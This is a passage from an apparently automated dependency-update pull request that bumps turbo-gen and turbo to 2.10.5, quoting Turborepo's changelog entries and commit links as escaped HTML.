href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f69971958b56e6a932c3d08a0347f4589c8734df\"\u003e\u003ccode\u003ef699719\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.5 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13331\"\u003e#13331\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6626261bcbb770b56e32a0a808097442504ca5af\"\u003e\u003ccode\u003e6626261\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13325\"\u003e#13325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e44a290fc7a1ac7f987ba27101f3320df396599\"\u003e\u003ccode\u003e7e44a29\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.3 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13302\"\u003e#13302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6e6fb628b065a81583de05044eb50fb71380087\"\u003e\u003ccode\u003ee6e6fb6\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13297\"\u003e#13297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6cd4986d79c1fe9d8cb0483a804f95f3a3de026\"\u003e\u003ccode\u003ee6cd498\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13294\"\u003e#13294\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f2fce38386587104688f8805fd8f585fc4e0bd1f\"\u003e\u003ccode\u003ef2fce38\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13286\"\u003e#13286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e02f94f647cb4d527a438313dc4adbe3e8c0df3\"\u003e\u003ccode\u003e7e02f94\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13278\"\u003e#13278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a31389ed39e539d97be58a9ca38d9f35be2e3d04\"\u003e\u003ccode\u003ea31389e\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13247\"\u003e#13247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/commits/v2.10.5/packages/turbo-gen\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `turbo` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 